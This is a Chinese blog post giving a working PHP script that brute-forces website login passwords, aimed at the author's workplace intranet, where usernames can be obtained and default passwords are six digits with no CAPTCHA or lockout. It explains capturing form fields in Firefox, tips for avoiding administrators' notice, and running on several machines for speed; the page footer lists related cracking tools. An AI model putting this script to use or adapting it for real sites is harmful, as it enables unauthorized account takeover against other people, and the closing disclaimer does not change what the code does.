`
这不是我
  • 浏览: 15843 次
社区版块
存档分类
最新评论

php脚本暴力破解网站密码(附php源代码)

阅读更多
    有一种网站,没有验证码;有一种网站,你可以利用某种手段获取到登陆者的用户名(比如邮箱啦等等,用户名你是知道的),你所不知道的仅仅是登录密码,有没有什么方法可以破解呢?

    我们单位有一个内网(虽是内网,但有时在家也可以登录),用户名可以搞到,密码原始是六位的数字(其实大多数人都没有修改过),而且牛叉的是,这个网站登录时,如果输入错误次数过多也不会让你输入验证码,这太好了,心中窃喜,可以用暴力破解法嘛。


     暴力破解,要用到遍历,直到试出你要的用户名为止,这些都简单,关键是如何用技术去实现。其实这种技术,说白了就是网络机器人,网络机器人有很多种,有名字的比如蜘蛛、爬虫等等,大概就是依据对http协议的了解,去编写自动化的网络操作。注意,自动化这三个字很关键,因为传统的浏览器模式无法实现自动化。

     编写这个暴力破解网站密码的网络机器人,要用到php,因为php简直就是为了网络而生的,有相当方便的函数供使用,很方便,而且php是脚本语言,用起来也容易。在这里,我是拿php当shell脚本用的,直接在windows的控制台里执行,没这么用过的哥们自己上网找找,这我就不过多解释了。

     本次破解过程所用到的原材料有:php环境,firfox,一个名为LIB_http.php的php库(是某个大牛写的,我这里借用一下,会用到这个库里的http()函数,这个库的下载连接地址为:http://www.webbotsspidersscreenscrapers.com/DSP_download.php),好了,就这三个,下面开讲。



    先说说破解的大致思路,正常情况下我们用浏览器,填写用户名和密码,然后点击提交按钮,信息就被发送到后端,如果用户名和密码错误,将返回登陆页面,反之则返回成功页面。

     那么,我们要做的就是,模拟浏览器的这种行为,然后根据返回的结果判定密码是否正确。

     第一步,为了完全100%的模拟浏览器,我们必须先要知晓点击“提交”按钮后,都发送了哪些数据,如果只发送密码和用户名,其他数据对不上,后台服务器就会产生一个异常,而且更可怕的是,这会引起管理员的注意,搞不好会封掉你的ip,那你就玩完了。
    
     关键是怎么才能知道提交了哪些数据呢?用firfox吧,里面有一个很牛叉的功能。用firfox登录你想破解的网站,单击右键选择“查看元素”,点“控制台”,点“网络”下拉框,选中“记录请求和响应主体”。这样一来就可以利用firfox为我们抓包了。之前有人推荐firdebug,未免是大材小用了,其实firfox原本的东东就够了,而且很好。在登录页面上随便输入一个用户名和密码,点击“登录”,可以在控制台看到http请求,一般要找post型的。点击打开,在“已发送表单数据”可以看到都发送了那些数据,要记录下来,一些asp.net的网站,由于用到了一些验证控件,会出现不少东西,比如__VIEWSTATE之类的,甭管它,记下来,过会用。对了,有一点忘说了,用firfox这个工具,还可以知道提交的目标地址(比如有时候是一个servlet,或者是jsp,aspx都可能,要看好)和上连接(不知道上连接的请自行补脑)。

     知道发什么数据了,就要开始编程序了,源代码如下:
<?php
include("php_lib/LIB_http.php");

error_reporting(E_ALL^E_NOTICE);//除去notice提示

$action="登陆页面提交的后台地址,查看方法上面已讲";
$method="POST";//注意,必须是大写,GET方法也一样
$ref="上连接地址,查看方法上面已讲";
$data_array['ctl00$MainContent$tbStuId']="";//要发送的数据,都写到一个数组里,数据的查看方法上面已讲。
$data_array['ctl00$MainContent$tbIdentityId']="";
$data_array['ctl00$MainContent$LoginUser$UserName']="用户名";
//$data_array['ctl00$MainContent$LoginUser$Password']=$strpass(密码);
$data_array['ctl00$MainContent$LoginUser$LoginButton']="登录";
$data_array['__VIEWSTATE']="/wEPDwUKMTM2OTQ5MzkyMA9kFgJmD2QWAgIDD2QWBgIDDw9kFgIeBXN0eWxlBRJtYXJnaW4tbGVmdDoxNjBweDsWBAIBDzwrAAUBAA8WAh4HVmlzaWJsZWhkZAIDDw9kFgIfAAUzZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDoxMDBweDttYXJnaW4tcmlnaHQ6MTAwcHg7ZAIFDw8WBh4FV2lkdGgbAAAAAAAAZEABAAAAHgRfIVNCAoACHwFoZGQCBw8PFgIeBFRleHQF+AHljJfkuqzluILlrabnlJ/otYTliqnkuovliqHnrqHnkIbkuK3lv4PniYjmnYPmiYDmnIkmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDvljJfkuqzlt6XllYblpKflrabnoJTliLYmbmJzcDsmbmJzcDsmbmJzcDvCqTIwMTEtMjAxM2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSZjdGwwMCRNYWluQ29udGVudCRMb2dpblVzZXIkUmVtZW1iZXJNZcVB092mLxjWH8VqPqNfoiesnMTTfv/8XLUqN0IvHeWh";
$data_array['__EVENTVALIDATION']="/wEdAAg4OGQHZT9XqX7BisSv3xvacc3fpmfwSgCZgt7RGgsQTYT2MeBFtJvt+JB+if6UByL53d8HLcsMPPSWw23i74K4rVJzD9epthGmOWrcxXKP7u1vquycB/s6+IJJa4hgd+jsl1raoinWIrD1aNCfPQQ5CQtH8leGQTiMCnhMu4O3EZWz6MelE6yxI8DG7fS+/BYQQRNWIIZPR21FZQRefgAc";
$data_array['__EVENTTARGET']="";
$data_array['__EVENTARGUMENT']="";

for($pass=000000; $pass<999999;$pass++){
$strpass=strval($pass);
$data_array['ctl00$MainContent$LoginUser$Password']=$strpass;
$response = http($target=$action,$ref,$method,$data_array,EXCL_HEAD);
$str = $response['STATUS'];
echo $pass." ";
if($str['url']=="登录成功后的跳转页面"){
echo "\n\n\nthe result is:".$pass."\n";//输出密码
return;
}
//echo $str['url']."\n";
}
?>

上面的代码完全没问题,你要改动的,仅仅是$data_array数组的内容,这要依据firfox去查看。上面的数组$data_array内容是我自己的,你们破解的时候还是要用firfox自己去看,一定不能错,否走后台出异常,而且数据不能多,不能少,类型也必须对。


好吧,就到这里了,如果你网速快的话,1分钟试验300~400个密码没有问题,如果多用几台电脑就更快了,在我写这段文字的时候,我的电脑还在破解一个密码,要等到明天一早了,先睡了。对了,这都告诉你们了,可千万别干坏事啊。
1
3
分享到:
评论

相关推荐

    语言源代码密码暴力破解器

    语言源代码密码暴力破解器

    Python暴力破解wifi密码.py

    Python暴力破解wifi密码.py

    mysql破解密码脚本

    mysql破解密码脚本

    WINCC 常用脚本 源代码

    ### WINCC 脚本源代码概览 #### 登录功能 在WINCC中,`PWRTLogin`函数用于实现用户登录。如源代码所示: ```vb PWRTLogin('1'); ``` 这里的`'1'`通常表示一个预定义的用户ID或权限级别,用于确定登录的用户身份。 ...

    wincc的加密的全局脚本密码破解

    用于wincc全局脚本加密的解密,VBS

    wincc VBS脚本加密破解

    wincc VBS脚本加密破解

    Python脚本暴力破解栅栏密码

    在渗透测试当中,免不了要进行密码破解。本文通过好几种方法给大家介绍python密码破解,有通用脚本,FTP暴力破解脚本,SSH暴力破解,TELNET密码暴力破解,感兴趣的朋友一起学习吧

    RAR5.0密码暴力破解脚本

    RAR5.0密码暴力破解脚本 目前大部分工具对RAR5.0以上版本无能为力。可以用这个脚本来跑。

    php在线考试系统源代码

    《PHP在线考试系统源代码详解》 在信息技术日益发展的今天,教育行业的数字化进程也在不断加快。其中,在线考试系统作为教育信息化的重要组成部分,为教学评估提供了便利。本篇将深入探讨一个基于PHP实现的在线考试...

    网上商城Dreamweaver网站源代码

    【网上商城Dreamweaver网站源代码】是一个使用Adobe Dreamweaver开发的电子商务平台,它集成了多种功能,为用户提供了完整的网上购物体验。Dreamweaver是一款知名的网页设计和开发工具,以其直观的可视化编辑界面和...

    BR大逃杀游戏PHP源代码

    【BR大逃杀游戏PHP源代码】是一款基于PHP编程语言开发的在线游戏,灵感来源于流行的“大逃杀”电影主题,这种类型的游戏通常涉及到玩家在封闭环境中互相竞争,最后存活下来的玩家成为胜者。该源代码公开后,为游戏...

    wincc 7.0 脚本解密

    这个工具会读取加密脚本,应用反向的加密算法,生成未加密的源代码。 4. 安全考虑:解密后,应当注意不要泄露敏感信息,遵循软件许可协议,合法使用解密后的脚本。 四、注意事项与安全问题 脚本解密涉及到版权和...

    md5密码暴力破解程序

    多线程,速度快,很不错的。 不过需要耐心啊,呵呵。

    弥陀寺网站系统源代码寺庙网站源代码

    弥陀寺网站系统源代码是针对寺庙类网站设计与开发的一套完整的源代码,它包含了构建此类网站所需的所有核心功能和模块。这个源代码可能是基于ASP(Active Server Pages)技术,因为提到了"www/admin.asp"作为后台...

    php在线压缩解压源代码

    提供的源代码中提到了一个默认密码"psw",这可能意味着压缩文件采用了某种形式的加密。在PHP中,虽然ZipArchive类本身不支持密码保护,但开发者可以通过第三方库或者自定义逻辑实现文件加密后再进行压缩。 4. **...

    php网上购物网站源代码

    2. **后端逻辑**:PHP代码处理前端发送的请求,执行业务逻辑,如用户登录验证、商品查询、购物车操作等。 3. **数据库交互**:PHP通过MySQLi或PDO等库与MySQL数据库进行通信,执行SQL语句来读写数据。 4. **安全措施...

    SSH 防暴力破解脚本示例

    SSH 防暴力破解脚本示例

    PHP5.2.6源代码

    PHP5.2.6源代码是PHP开发历史中的一个重要版本,它包含了丰富的更新和改进,为开发者提供了更多功能和优化。...同时,源代码研究也有助于开发者提升自身的编程水平,理解如何编写高效、安全的PHP代码。

    一套完整的电子商城源代码 PHP

    本套“PHP电子商城源代码”正是一份专为初学者设计的宝贵资源,它提供了从前台用户界面到后台管理系统的完整实现,帮助开发者快速理解和实践电商网站的开发。 首先,我们要明确的是,PHP是一种广泛使用的开源脚本...

Global site tag (gtag.js) - Google Analytics